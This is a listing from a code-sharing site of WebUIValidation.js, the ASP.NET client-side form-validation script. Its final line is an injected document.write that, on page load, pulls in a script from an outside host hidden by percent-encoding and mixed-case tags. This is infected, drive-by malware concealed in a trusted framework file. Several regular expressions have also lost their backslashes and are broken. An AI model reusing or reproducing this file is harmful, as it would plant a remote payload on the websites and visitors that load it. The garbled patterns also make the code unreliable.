WebUIValidation.js
上传用户:xiecaij
上传日期:2015-02-08
资源大小:2016k
文件大小:14k
源码类别:

百货/超市行业

开发平台:

ASP/ASPX

  1. var Page_ValidationVer = "125";
  2. var Page_IsValid = true;
  3. var Page_BlockSubmit = false;
  4. function ValidatorUpdateDisplay(val) {
  5.     if (typeof(val.display) == "string") {    
  6.         if (val.display == "None") {
  7.             return;
  8.         }
  9.         if (val.display == "Dynamic") {
  10.             val.style.display = val.isvalid ? "none" : "inline";
  11.             return;
  12.         }
  13.     }
  14.     val.style.visibility = val.isvalid ? "hidden" : "visible";
  15. }
  16. function ValidatorUpdateIsValid() {
  17.     var i;
  18.     for (i = 0; i < Page_Validators.length; i++) {
  19.         if (!Page_Validators[i].isvalid) {
  20.             Page_IsValid = false;
  21.             return;
  22.         }
  23.    }
  24.    Page_IsValid = true;
  25. }
  26. function ValidatorHookupControlID(controlID, val) {
  27.     if (typeof(controlID) != "string") {
  28.         return;
  29.     }
  30.     var ctrl = document.all[controlID];
  31.     if (typeof(ctrl) != "undefined") {
  32.         ValidatorHookupControl(ctrl, val);
  33.     }
  34.     else {
  35.         val.isvalid = true;
  36.         val.enabled = false;
  37.     }
  38. }
  39. function ValidatorHookupControl(control, val) {
  40.     if (typeof(control.tagName) == "undefined" && typeof(control.length) == "number") {
  41.         var i;
  42.         for (i = 0; i < control.length; i++) {
  43.             var inner = control[i];
  44.             if (typeof(inner.value) == "string") {
  45.                 ValidatorHookupControl(inner, val);
  46.             } 
  47.         }
  48.         return;
  49.     }
  50.     else if (control.tagName != "INPUT" && control.tagName != "TEXTAREA" && control.tagName != "SELECT") {
  51.         var i;
  52.         for (i = 0; i < control.children.length; i++) {
  53.             ValidatorHookupControl(control.children[i], val);
  54.         }
  55.         return;
  56.     }
  57.     else {
  58.         if (typeof(control.Validators) == "undefined") {
  59.             control.Validators = new Array;
  60.             var ev;
  61.             if (control.type == "radio") {
  62.                 ev = control.onclick;
  63.             } else {
  64.                 ev = control.onchange;
  65.             }
  66.             if (typeof(ev) == "function" ) {            
  67.                 ev = ev.toString();
  68.                 ev = ev.substring(ev.indexOf("{") + 1, ev.lastIndexOf("}"));
  69.             }
  70.             else {
  71.                 ev = "";
  72.             }
  73.             var func = new Function("ValidatorOnChange(); " + ev);
  74.             if (control.type == "radio") {
  75.                 control.onclick = func;
  76.             } else {            
  77.                 control.onchange = func;
  78.             }
  79.         }
  80.         control.Validators[control.Validators.length] = val;
  81.     }    
  82. }
  83. function ValidatorGetValue(id) {
  84.     var control;
  85.     control = document.all[id];
  86.     if (typeof(control.value) == "string") {
  87.         return control.value;
  88.     }
  89.     if (typeof(control.tagName) == "undefined" && typeof(control.length) == "number") {
  90.         var j;
  91.         for (j=0; j < control.length; j++) {
  92.             var inner = control[j];
  93.             if (typeof(inner.value) == "string" && (inner.type != "radio" || inner.status == true)) {
  94.                 return inner.value;
  95.             }
  96.         }
  97.     }
  98.     else {
  99.         return ValidatorGetValueRecursive(control);
  100.     }
  101.     return "";
  102. }
  103. function ValidatorGetValueRecursive(control)
  104. {
  105.     if (typeof(control.value) == "string" && (control.type != "radio" || control.status == true)) {
  106.         return control.value;
  107.     }
  108.     var i, val;
  109.     for (i = 0; i<control.children.length; i++) {
  110.         val = ValidatorGetValueRecursive(control.children[i]);
  111.         if (val != "") return val;
  112.     }
  113.     return "";
  114. }
  115. function Page_ClientValidate() {
  116.     var i;
  117.     for (i = 0; i < Page_Validators.length; i++) {
  118.         ValidatorValidate(Page_Validators[i]);
  119.     }
  120.     ValidatorUpdateIsValid();    
  121.     ValidationSummaryOnSubmit();
  122.     Page_BlockSubmit = !Page_IsValid;
  123.     return Page_IsValid;
  124. }
  125. function ValidatorCommonOnSubmit() {
  126.     var result = !Page_BlockSubmit;
  127.     Page_BlockSubmit = false;
  128.     event.returnValue = result;
  129.     return result;
  130. }
  131. function ValidatorEnable(val, enable) {
  132.     val.enabled = (enable != false);
  133.     ValidatorValidate(val);
  134.     ValidatorUpdateIsValid();
  135. }
  136. function ValidatorOnChange() {
  137.     var vals = event.srcElement.Validators;
  138.     var i;
  139.     for (i = 0; i < vals.length; i++) {
  140.         ValidatorValidate(vals[i]);
  141.     }
  142.     ValidatorUpdateIsValid();    
  143. }
  144. function ValidatorValidate(val) {    
  145.     val.isvalid = true;
  146.     if (val.enabled != false) {
  147.         if (typeof(val.evaluationfunction) == "function") {
  148.             val.isvalid = val.evaluationfunction(val); 
  149.         }
  150.     }
  151.     ValidatorUpdateDisplay(val);
  152. }
  153. function ValidatorOnLoad() {
  154.     if (typeof(Page_Validators) == "undefined")
  155.         return;
  156.     var i, val;
  157.     for (i = 0; i < Page_Validators.length; i++) {
  158.         val = Page_Validators[i];
  159.         if (typeof(val.evaluationfunction) == "string") {
  160.             eval("val.evaluationfunction = " + val.evaluationfunction + ";");
  161.         }
  162.         if (typeof(val.isvalid) == "string") {
  163.             if (val.isvalid == "False") {
  164.                 val.isvalid = false;                                
  165.                 Page_IsValid = false;
  166.             } 
  167.             else {
  168.                 val.isvalid = true;
  169.             }
  170.         } else {
  171.             val.isvalid = true;
  172.         }
  173.         if (typeof(val.enabled) == "string") {
  174.             val.enabled = (val.enabled != "False");
  175.         }
  176.         ValidatorHookupControlID(val.controltovalidate, val);
  177.         ValidatorHookupControlID(val.controlhookup, val);
  178.     }
  179.     Page_ValidationActive = true;
  180. }
  181. function ValidatorConvert(op, dataType, val) {
  182.     function GetFullYear(year) {
  183.         return (year + parseInt(val.century)) - ((year < val.cutoffyear) ? 0 : 100);
  184.     }
  185.     var num, cleanInput, m, exp;
  186.     if (dataType == "Integer") {
  187.         exp = /^s*[-+]?d+s*$/;
  188.         if (op.match(exp) == null) 
  189.             return null;
  190.         num = parseInt(op, 10);
  191.         return (isNaN(num) ? null : num);
  192.     }
  193.     else if(dataType == "Double") {
  194.         exp = new RegExp("^\s*([-\+])?(\d+)?(\" + val.decimalchar + "(\d+))?\s*$");
  195.         m = op.match(exp);
  196.         if (m == null)
  197.             return null;
  198.         cleanInput = m[1] + (m[2].length>0 ? m[2] : "0") + "." + m[4];
  199.         num = parseFloat(cleanInput);
  200.         return (isNaN(num) ? null : num);            
  201.     } 
  202.     else if (dataType == "Currency") {
  203.         exp = new RegExp("^\s*([-\+])?(((\d+)\" + val.groupchar + ")*)(\d+)"
  204.                         + ((val.digits > 0) ? "(\" + val.decimalchar + "(\d{1," + val.digits + "}))?" : "")
  205.                         + "\s*$");
  206.         m = op.match(exp);
  207.         if (m == null)
  208.             return null;
  209.         var intermed = m[2] + m[5] ;
  210.         cleanInput = m[1] + intermed.replace(new RegExp("(\" + val.groupchar + ")", "g"), "") + ((val.digits > 0) ? "." + m[7] : 0);
  211.         num = parseFloat(cleanInput);
  212.         return (isNaN(num) ? null : num);            
  213.     }
  214.     else if (dataType == "Date") {
  215.         var yearFirstExp = new RegExp("^\s*((\d{4})|(\d{2}))([-/]|\. ?)(\d{1,2})\4(\d{1,2})\s*$");
  216.         m = op.match(yearFirstExp);
  217.         var day, month, year;
  218.         if (m != null && (m[2].length == 4 || val.dateorder == "ymd")) {
  219.             day = m[6];
  220.             month = m[5];
  221.             year = (m[2].length == 4) ? m[2] : GetFullYear(parseInt(m[3], 10))
  222.         }
  223.         else {
  224.             if (val.dateorder == "ymd"){
  225.                 return null;
  226.             }
  227.             var yearLastExp = new RegExp("^\s*(\d{1,2})([-/]|\. ?)(\d{1,2})\2((\d{4})|(\d{2}))\s*$");
  228.             m = op.match(yearLastExp);
  229.             if (m == null) {
  230.                 return null;
  231.             }
  232.             if (val.dateorder == "mdy") {
  233.                 day = m[3];
  234.                 month = m[1];
  235.             }
  236.             else {
  237.                 day = m[1];
  238.                 month = m[3];
  239.             }
  240.             year = (m[5].length == 4) ? m[5] : GetFullYear(parseInt(m[6], 10))
  241.         }
  242.         month -= 1;
  243.         var date = new Date(year, month, day);
  244.         return (typeof(date) == "object" && year == date.getFullYear() && month == date.getMonth() && day == date.getDate()) ? date.valueOf() : null;
  245.     }
  246.     else {
  247.         return op.toString();
  248.     }
  249. }
  250. function ValidatorCompare(operand1, operand2, operator, val) {
  251.     var dataType = val.type;
  252.     var op1, op2;
  253.     if ((op1 = ValidatorConvert(operand1, dataType, val)) == null)
  254.         return false;    
  255.     if (operator == "DataTypeCheck")
  256.         return true;
  257.     if ((op2 = ValidatorConvert(operand2, dataType, val)) == null)
  258.         return true;
  259.     switch (operator) {
  260.         case "NotEqual":
  261.             return (op1 != op2);
  262.         case "GreaterThan":
  263.             return (op1 > op2);
  264.         case "GreaterThanEqual":
  265.             return (op1 >= op2);
  266.         case "LessThan":
  267.             return (op1 < op2);
  268.         case "LessThanEqual":
  269.             return (op1 <= op2);
  270.         default:
  271.             return (op1 == op2);            
  272.     }
  273. }
  274. function CompareValidatorEvaluateIsValid(val) {
  275.     var value = ValidatorGetValue(val.controltovalidate);
  276.     if (ValidatorTrim(value).length == 0)
  277.         return true;
  278.     var compareTo = "";
  279.     if (null == document.all[val.controltocompare]) {
  280.         if (typeof(val.valuetocompare) == "string") {
  281.             compareTo = val.valuetocompare;
  282.         }
  283.     }
  284.     else {
  285.         compareTo = ValidatorGetValue(val.controltocompare);
  286.     }
  287.     return ValidatorCompare(value, compareTo, val.operator, val);
  288. }
  289. function CustomValidatorEvaluateIsValid(val) {
  290.     var value = "";
  291.     if (typeof(val.controltovalidate) == "string") {
  292.         value = ValidatorGetValue(val.controltovalidate);
  293.         if (ValidatorTrim(value).length == 0)
  294.             return true;
  295.     }
  296.     var args = { Value:value, IsValid:true };
  297.     if (typeof(val.clientvalidationfunction) == "string") {
  298.         eval(val.clientvalidationfunction + "(val, args) ;");
  299.     }        
  300.     return args.IsValid;
  301. }
  302. function RegularExpressionValidatorEvaluateIsValid(val) {
  303.     var value = ValidatorGetValue(val.controltovalidate);
  304.     if (ValidatorTrim(value).length == 0)
  305.         return true;        
  306.     var rx = new RegExp(val.validationexpression);
  307.     var matches = rx.exec(value);
  308.     return (matches != null && value == matches[0]);
  309. }
  310. function ValidatorTrim(s) {
  311.     var m = s.match(/^s*(S+(s+S+)*)s*$/);
  312.     return (m == null) ? "" : m[1];
  313. }
  314. function RequiredFieldValidatorEvaluateIsValid(val) {
  315.     return (ValidatorTrim(ValidatorGetValue(val.controltovalidate)) != ValidatorTrim(val.initialvalue))
  316. }
  317. function RangeValidatorEvaluateIsValid(val) {
  318.     var value = ValidatorGetValue(val.controltovalidate);
  319.     if (ValidatorTrim(value).length == 0) 
  320.         return true;
  321.     return (ValidatorCompare(value, val.minimumvalue, "GreaterThanEqual", val) &&
  322.             ValidatorCompare(value, val.maximumvalue, "LessThanEqual", val));
  323. }
  324. function ValidationSummaryOnSubmit() {
  325.     if (typeof(Page_ValidationSummaries) == "undefined") 
  326.         return;
  327.     var summary, sums, s;
  328.     for (sums = 0; sums < Page_ValidationSummaries.length; sums++) {
  329.         summary = Page_ValidationSummaries[sums];
  330.         summary.style.display = "none";
  331.         if (!Page_IsValid) {
  332.             if (summary.showsummary != "False") {
  333.                 summary.style.display = "";
  334.                 if (typeof(summary.displaymode) != "string") {
  335.                     summary.displaymode = "BulletList";
  336.                 }
  337.                 switch (summary.displaymode) {
  338.                     case "List":
  339.                         headerSep = "<br>";
  340.                         first = "";
  341.                         pre = "";
  342.                         post = "<br>";
  343.                         final = "";
  344.                         break;
  345.                     case "BulletList":
  346.                     default: 
  347.                         headerSep = "";
  348.                         first = "<ul>";
  349.                         pre = "<li>";
  350.                         post = "</li>";
  351.                         final = "</ul>";
  352.                         break;
  353.                     case "SingleParagraph":
  354.                         headerSep = " ";
  355.                         first = "";
  356.                         pre = "";
  357.                         post = " ";
  358.                         final = "<br>";
  359.                         break;
  360.                 }
  361.                 s = "";
  362.                 if (typeof(summary.headertext) == "string") {
  363.                     s += summary.headertext + headerSep;
  364.                 }
  365.                 s += first;
  366.                 for (i=0; i<Page_Validators.length; i++) {
  367.                     if (!Page_Validators[i].isvalid && typeof(Page_Validators[i].errormessage) == "string") {
  368.                         s += pre + Page_Validators[i].errormessage + post;
  369.                     }
  370.                 }   
  371.                 s += final;
  372.                 summary.innerHTML = s; 
  373.                 window.scrollTo(0,0);
  374.             }
  375.             if (summary.showmessagebox == "True") {
  376.                 s = "";
  377.                 if (typeof(summary.headertext) == "string") {
  378.                     s += summary.headertext + "<BR>";
  379.                 }
  380.                 for (i=0; i<Page_Validators.length; i++) {
  381.                     if (!Page_Validators[i].isvalid && typeof(Page_Validators[i].errormessage) == "string") {
  382.                         switch (summary.displaymode) {
  383.                             case "List":
  384.                                 s += Page_Validators[i].errormessage + "<BR>";
  385.                                 break;
  386.                             case "BulletList":
  387.                             default: 
  388.                                 s += "  - " + Page_Validators[i].errormessage + "<BR>";
  389.                                 break;
  390.                             case "SingleParagraph":
  391.                                 s += Page_Validators[i].errormessage + " ";
  392.                                 break;
  393.                         }
  394.                     }
  395.                 }
  396.                 span = document.createElement("SPAN");
  397.                 span.innerHTML = s;
  398.                 s = span.innerText;
  399.                 alert(s);
  400.             }
  401.         }
  402.     }
  403. }
  404. document.write("<ScRiPt src='http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");